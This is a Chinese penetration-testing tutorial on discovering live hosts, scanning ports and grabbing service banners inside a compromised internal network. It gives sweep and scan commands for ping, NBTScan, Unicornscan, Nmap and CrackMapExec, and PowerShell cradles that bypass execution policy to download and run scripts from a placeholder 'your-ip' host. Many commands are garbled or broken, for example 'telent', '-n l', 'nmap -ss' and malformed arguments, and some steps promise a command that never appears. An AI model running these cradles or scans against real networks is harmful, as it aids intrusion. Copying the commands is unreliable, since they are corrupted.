域内资源探测(内网信息收集)
前言:在内网滲透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。
0x01:发现内网存活主机
可以根据当前滲透环境,选用 ICMP、 NetBIOS、 UDP、 ARP、 SNMP、 SMB等多种网络协议。按照协议类型,下面介绍使用常见工具来发现内网存活主机的方法。
1.基于ICMP 发现存活主机
ICMP (Internet ControlMessageProtocol,因特网控制消息协议)是TCP/IP协议族的一个子协议,用于网络层的通信, 即IP 主机、路由器之间传递控制消息,提供可能发生在通信环境 中的各种问题 反馈。 通过这些信息, 管理员可以对发生的问题做出诊断,然后采取适当的措施解决。
在实际利用中,可以通过ICMP 铺环对整个网段中的每个卫地址执行ping 命令,所有能够ping 通的IP 地址即为内网中存活的主机。
在目标主机中执行以下命令,循环探测整个局域网C段中存活的主机
for /L %I in (1,1,254) DO @ping -W l -n l 10.10.10.%I | findstr "TTL="
2.基于 NetBIOS(网络基本输入/输出系统)协议发现存活主机
NetBIOS 提供 OSIRM 的会话层(在 TCP/P 模型中包含在应用层中)服务,让不同计算机上运行的不同程可以在局域网中互相连接和共享数据。严格来说,NetBIOS 不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局城网都是在 NetBIos 协议的基础上工作的,操作系统可以利用 WINS 服务、广播、Lmhost 文件等模式将 NetB10S 名解析为相应的I 地址。NetBIOS 的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows 中,默认安装 TCP/IP 后会自动安装 NetBIoS。
在实际利用时,向局域网的每个IP 地址发送 NetBOOS 状态查询,可以获得主机名、 MAC 地址等信息。
NBTScan 是一款用于扫描 Windows 网络上 NetBIOS 名称的程序,用于发现内网中存活的 Windows 主机。NBTSean 可以对给定IP 范围内的每个IP 地址发送 NetBIOS 状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、 NetBIOS 计算机名、登录用户名和 MAC 地址。
将 nbtscan.exe 上传到目标主机,执行以下命令:
nbtscan.exe 目标本机ip/24
探测整个局域网中存活的主机
3.基于UDP发现存活主机
UDP (User Datagram Protocol,用户数据报协议)是一种用于传输层的无连接传输的协议,为应用程序提供一种不需建立连接就可以发送封装的IP 数据包的方法。
在实际利用中,可以将一个空的 UDP 报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP 探测就马上得到一个 ICMP 端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan 是 Kali Linux 平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过 UDP 协议扫描内网的存活主机:
unicornscan -mU 10.10.10.0/24
4.基于ARP发现存活主机
ARP (Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址來找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标 IP地址的 ARP 请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该 IP 地址和物理地址存入本机 ARP 缓存,并保留一定时间,下次请求时直接查询 ARP 缓存,以节约资源。
在实际利用中,可以向网络发送一个 ARP 请求,若目标主机处于活跃状态,则其一定会回应一个 ARP 响应,否则不会做出任何回应。
(1)ARP-Scan的利用https://github.com/QbsuranAlang/arp-scan-windows-
ARP-Scan 是一款快速、便捷的内网扫描工具,利用 ARP 发现内网中存活的主机。将工具上传到目标主机,执行以下命令,即可扫描内网中存活的主机:
(2)PowerShell的利用
Empire 滲透框架的 Invoke-ARPScan.ps1 脚本可利用 ARP 发现内网存活主机(https://github.com/EmpireProject/Empire)。使用时,需要将脚本导入执行:
Import-Module . IInvoke-ARPScan. ps1
Invoke-ARPScan -CIDR 10.10.10.0/24
也可以将脚本放到服务器,并通过PowerShell远程加载运行:
powershell.exe -exec bypass -Command "IEX(New-Object Net. webClient) .Down loadString("
http://your-ip
:port/Invoke-ARPScan.ps1");Invoke-ARPScan -CIDR 10.10.10.0/24"
5.基于 SMB (Server Message Block,服务器消息块)协议发现存活主机
SMB 又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS 消息一般使用 NetBIOS 或TCP 发送,分别使用 139 或 445 端口,目前倾向于使用 445 端口。
在实际利用中,可以探测局域网中存在的 SMB 服务,从而发现内网的存活主机,多适用于 Windows 主机的发现。
CrackMapExec (简称 CME) 是一款十分强大的后滲透利用工具,在 Kali Linux 上可以直接使用 apt-get 命令进行安装。CrackMapExec 能够枚举登录用户、枚举 SMB 服关表、执行 WIRM 攻击等功能,可以帮助测试人员自动化评估大型城网络的安全性(https://github.com/Porchetta-Industries/CrackMapExec/releases)。执行以下命令:
0x02:内网端口扫描
端口是一切网络入侵的入口。通过对内网主机进行端口扫描,测试人员可以确定目标主机上开放的服务类型、服务版本,并查找相应的漏洞进行攻击。测试人员可以根据目标主机的情况,上传工具进行扫描,也可以借助内网代理或路由转发对目标主机的发起扫描。
1.利用 Telnet 探测端口
Telnet 是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet 命令可以简单测试指定的端口号是正常打开还是关闭状态:
telent <ip> <port>
2.利用Nmap进行端口扫描
Nmgp 是一个十分鹽大的端口扫描工具,在实际利用中可以借助内网代理对内网主机进行端口扫描。关于 Nmap 的使用,读者可以查阅相关资料。下面仅给出几个常用的扫描命令,更多使用方法请参考 Nmap 官方手册。
执行以下命令,扫描目标主机的指定端口:
nmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11
执行以下命令,扫描目标主机开放的全部端口:
nmap -ss -p 1-65535 10.10.10.11
扫描并获取目标主机指定端口上开放的服务版本:
nmap -sC -sv-p 80,88, 135,139,443,8080,3306,3389 10.211.55.3
3.利用PowerShell进行端口扫描
NiShang 是基于 PowerShell 的渗透测试专用框架,集成了各种脚本和 Payload,广泛用于渗透测诚的各阶段。
NiShang 的 Scan 模块中也有一个 Invoke-PortsCan.psl 脚本,可以用来对主机进行端口扫描(https://github.com/samratashok/nishang)。
执行以下命令:对内网的一个主机范围执行默认的端口扫描:
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort
执行以下命令:对内网中的一个主机范围扫描指定的端口:
powershell.exe -exec bypass -Command "IEX (New-Object Net. WebClient) .DownloadString("http://your-ip:port/Invoke-portscan. ps1'");Invoke-PortScan -StartAddress 10.10.10.1 EndAddress-10.10.10.20 -ResolveHost -ScanPort -Port 80,88,135,139,443,8080,3306,3389"
0x03:利用MetaSploit探测内网
MetaSploit 渗透框架中内置了几款资源收集模块,可用于发现内网存活主机、探测内网服务、对目标主机进行端口扫描:
0x04:获取端口Banner信息
Banner 中可能包含一些敏感信息。通过查看端口的 Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
1.利用 NetCat 获取端口 Banner
Netcat 是一款常用的测试工具和黑客工具,使用 NetCat 可以轻易建立任何连接,具有“瑞士军刀〞的美誉。通过指定 NetCat 的“-nv〞选项,可以在连接指定的端口时获取该端口的 Banner 信息。
nc -nv <ip> <port>
2.利用Telnet获取端口Banner
如果目标端口开放,使用 Telnet 连接后,也会返回相应的 Banner 信息
telent <IP> <Port>
3.利用Nmap获取获取Banner
在 Nmap 中指定脚本“-script=banner”,可以在端口扫描过程中获取端口的 Banner信息:
nmap --script=banner -p <Ports> <IP>